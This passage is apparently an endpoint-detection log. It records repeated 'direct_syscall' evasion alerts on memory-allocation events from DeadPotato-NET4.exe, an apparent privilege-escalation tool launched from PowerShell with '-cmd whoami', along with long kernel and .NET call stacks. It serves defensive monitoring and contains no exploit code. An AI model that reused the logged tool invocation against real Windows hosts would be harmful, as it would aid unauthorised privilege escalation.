C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!DllCanUnloadNowInternal|0x7ffb8b3ce2db C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b38682a C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b721933 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!ParseManifest|0x7ffb8b3e6fcb C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3e6eef C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3e6dbb C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3e6d2f C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b49d431 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!InitializeFusion|0x7ffb8b4f5faa C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!IsOS|0x7ffba37ee8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffba404c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-25T10:39:34+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 1094851 + Pid: 2704 + Tid: 5720 + Type: VirtualAlloc + CPU: 0 + Name: VirtualAlloc + Category: mem + Description: Reserves, commits, or changes the state of a region of memory within the process virtual address space + Host: archrabbit + Timestamp: 2025-11-25 10:39:33.2942015 +0100 CET + Params: alloc_type➜ COMMIT, base_address➜ 324def5000, exe➜ C:\Users\nedo\Downloads\DeadPotato-NET4.exe, name➜ DeadPotato-NET4.exe, pid➜ 2704, region_size➜ 20480 + Metadata: evasions: [direct_syscall] + + Pid: 2704 + Ppid: 15392 + Name: DeadPotato-NET4.exe + Parent name: powershell.exe + Cmdline: "C:\Users\nedo\Downloads\DeadPotato-NET4.exe" -cmd whoami + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Users\nedo\Downloads\DeadPotato-NET4.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\Downloads\DeadPotato-NET4.exe" -cmd whoami] + Session ID: 1 + Envs: map[] + + ] and callstack [0xfffff8037e342714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff8037e274909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff8037e348ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff8037ea2a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff8037e863d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff8037e8629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff8037e6b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff8037e6a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff8037ea24004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff8037e29315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff8037e2400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff8037e6addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ffb8775abe7 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb8775a76d C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb8b3c25c8 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3c2793 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3c23d5 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b39d927 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3c2cd2 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3dab16 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3ad5db C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b50ebb5 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!DllCanUnloadNowInternal|0x7ffb8b5116c3 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!DllCanUnloadNowInternal|0x7ffb8b3ce2db C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3ce26f C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3ce105 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3cdfdc C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3d06e1 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3d0bdd C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b397799 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb87758ab1 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb876eb59a C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb876eb3d7 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb876eaa2c C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb87754065 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb8775ae7a C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb8775ab14 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb8775a76d C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb8b3c25c8 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3c2793 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3c23d5 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b39d927 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3c2cd2 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3dab16 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3ad5db C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b50ebb5 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!DllCanUnloadNowInternal|0x7ffb88ee1bf8 C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\8967064a93c70884749ad00de74dd7a1\mscorlib.ni.dll!?|0x7ffb88ee1ae5 C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\8967064a93c70884749ad00de74dd7a1\mscorlib.ni.dll!?|0x7ffb88ee1ab5 C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\8967064a93c70884749ad00de74dd7a1\mscorlib.ni.dll!?|0x7ffb88f06445 C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\8967064a93c70884749ad00de74dd7a1\mscorlib.ni.dll!?|0x7ffb8b5116c3 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!DllCanUnloadNowInternal|0x7ffb8b3ce2db C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b38682a C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b721933 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!ParseManifest|0x7ffb8b3e6fcb C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3e6eef C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3e6dbb C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3e6d2f C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b49d431 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!InitializeFusion|0x7ffb8b4f5faa C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!IsOS|0x7ffba37ee8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffba404c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-25T10:39:34+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 1094855 + Pid: 2704 + Tid: 5720 + Type: VirtualAlloc + CPU: 0 + Name: VirtualAlloc + Category: mem + Description: Reserves, commits, or changes the state of a region of memory within the process virtual address space + Host: archrabbit + Timestamp: 2025-11-25 10:39:33.2942629 +0100 CET + Params: alloc_type➜ COMMIT, base_address➜ 324def4000, exe➜ C:\Users\nedo\Downloads\DeadPotato-NET4.exe, name➜ DeadPotato-NET4.exe, pid➜ 2704, region_size➜ 20480 + Metadata: evasions: [direct_syscall] + + Pid: 2704 + Ppid: 15392 + Name: DeadPotato-NET4.exe + Parent name: powershell.exe + Cmdline: "C:\Users\nedo\Downloads\DeadPotato-NET4.exe" -cmd whoami + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Users\nedo\Downloads\DeadPotato-NET4.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\Downloads\DeadPotato-NET4.exe" -cmd whoami] + Session ID: 1 + Envs: map[] + + ] and callstack [0xfffff8037e342714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff8037e274909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff8037e348ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff8037ea2a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff8037e863d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff8037e8629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff8037e6b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff8037e6a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff8037ea24004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff8037e29315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff8037e2400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff8037e6addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ffb87756281 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb876eb59a C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb876eb3d7 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb876eaa2c C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb87754065 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb8775ae7a C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb8775ab14 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb8775a76d C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb8b3c25c8 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3c2793 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3c23d5 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b39d927 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3c2cd2 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3dab16 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3ad5db C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b50ebb5 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!DllCanUnloadNowInternal|0x7ffb8b5116c3 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!DllCanUnloadNowInternal|0x7ffb8b3ce2db C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3ce26f C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3ce105 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3cdfdc C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3d06e1 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3d0bdd C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b397799 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb87758ab1 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb876eb59a C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb876eb3d7 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb876eaa2c C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb87754065 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb8775ae7a C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb8775ab14 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb8775a76d C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb8b3c25c8 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3c2793 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3c23d5 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b39d927 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3c2cd2 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3dab16 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3ad5db C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b50ebb5 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!DllCanUnloadNowInternal|0x7ffb88ee1bf8 C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\8967064a93c70884749ad00de74dd7a1\mscorlib.ni.dll!?|0x7ffb88ee1ae5 C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\8967064a93c70884749ad00de74dd7a1\mscorlib.ni.dll!?|0x7ffb88ee1ab5 C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\8967064a93c70884749ad00de74dd7a1\mscorlib.ni.dll!?|0x7ffb88f06445 C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\8967064a93c70884749ad00de74dd7a1\mscorlib.ni.dll!?|0x7ffb8b5116c3 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!DllCanUnloadNowInternal|0x7ffb8b3ce2db C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b38682a C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b721933 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!ParseManifest|0x7ffb8b3e6fcb C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3e6eef C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3e6dbb C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3e6d2f C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b49d431 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!InitializeFusion|0x7ffb8b4f5faa C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!IsOS|0x7ffba37ee8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffba404c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-25T10:39:34+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 1094858 + Pid: 2704 + Tid: 5720 + Type: VirtualAlloc + CPU: 0 + Name: VirtualAlloc + Category: mem + Description: Reserves, commits, or changes the state of a region of memory within the process virtual address space + Host: archrabbit + Timestamp: 2025-11-25 10:39:33.2943785 +0100 CET + Params: alloc_type➜ COMMIT, base_address➜ 324def3000, exe➜ C:\Users\nedo\Downloads\DeadPotato-NET4.exe, name➜ DeadPotato-NET4.exe, pid➜ 2704, region_size➜ 20480 + Metadata: evasions: [direct_syscall] + + Pid: 2704 + Ppid: 15392 + Name: DeadPotato-NET4.exe + Parent name: powershell.exe + Cmdline: "C:\Users\nedo\Downloads\DeadPotato-NET4.exe" -cmd whoami + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Users\nedo\Downloads\DeadPotato-NET4.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\Downloads\DeadPotato-NET4.exe" -cmd whoami] + Session ID: 1 + Envs: map[] + + ] and callstack [0xfffff8037e342714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff8037e274909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff8037e348ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff8037ea2a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff8037e863d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff8037e8629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff8037e6b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff8037e6a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff8037ea24004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff8037e29315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff8037e2400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff8037e6addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ffb8b3d5c9d C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3cf3ed C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3c51a5 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3c33b9 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3c3fb3 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3dea99 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3af04f C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3ade3d C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8775618f C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb87756d72 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb876eb59a C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb876eb3d7 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb876eaa2c C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb87754065 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb8775ae7a C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb8775ab14 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb8775a76d C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb8b3c25c8 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3c2793 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3c23d5 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b39d927 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3c2cd2 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3dab16 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3ad5db C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b50ebb5 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!DllCanUnloadNowInternal|0x7ffb8b5116c3 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!DllCanUnloadNowInternal|0x7ffb8b3ce2db C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3ce26f C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3ce105 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3cdfdc C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3d06e1 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3d0bdd C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b397799 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb87758ab1 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb876eb59a C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb876eb3d7 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb876eaa2c C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb87754065 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb8775ae7a C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb8775ab14 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb8775a76d C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb8b3c25c8 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3c2793 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3c23d5 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b39d927 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3c2cd2 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3dab16 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3ad5db C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b50ebb5 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!DllCanUnloadNowInternal|0x7ffb88ee1bf8 C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\8967064a93c70884749ad00de74dd7a1\mscorlib.ni.dll!?|0x7ffb88ee1ae5 C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\8967064a93c70884749ad00de74dd7a1\mscorlib.ni.dll!?|0x7ffb88ee1ab5 C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\8967064a93c70884749ad00de74dd7a1\mscorlib.ni.dll!?|0x7ffb88f06445 C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\8967064a93c70884749ad00de74dd7a1\mscorlib.ni.dll!?|0x7ffb8b5116c3 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!DllCanUnloadNowInternal|0x7ffb8b3ce2db C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b38682a C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b721933 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!ParseManifest|0x7ffb8b3e6fcb C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3e6eef C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3e6dbb C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3e6d2f C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b49d431 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!InitializeFusion|0x7ffb8b4f5faa C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!IsOS|0x7ffba37ee8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffba404c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-25T10:39:34+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 1094861 + Pid: 2704 + Tid: 5720 + Type: VirtualAlloc + CPU: 0 + Name: VirtualAlloc + Category: mem + Description: Reserves, commits, or changes the state of a region of memory within the process virtual address space + Host: archrabbit + Timestamp: 2025-11-25 10:39:33.2944342 +0100 CET + Params: alloc_type➜ COMMIT, base_address➜ 324def2000, exe➜ C:\Users\nedo\Downloads\DeadPotato-NET4.exe, name➜ DeadPotato-NET4.exe, pid➜ 2704, region_size➜ 20480 + Metadata: evasions: [direct_syscall] + + Pid: 2704 + Ppid: 15392 + Name: DeadPotato-NET4.exe + Parent name: powershell.exe + Cmdline: "C:\Users\nedo\Downloads\DeadPotato-NET4.exe" -cmd whoami + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Users\nedo\Downloads\DeadPotato-NET4.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\Downloads\DeadPotato-NET4.exe" -cmd whoami] + Session ID: 1 + Envs: map[] + + ] and callstack [0xfffff8037e342714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff8037e274909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff8037e348ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff8037ea2a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff8037e863d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff8037e8629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff8037e6b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff8037e6a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff8037ea24004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff8037e29315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff8037e2400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff8037e6addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ffb8b403afd C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!LogHelp_TerminateOnAssert|0x7ffb8b405569 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!LogHelp_TerminateOnAssert|0x7ffb8b405348 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!LogHelp_TerminateOnAssert|0x7ffb8b404bf0 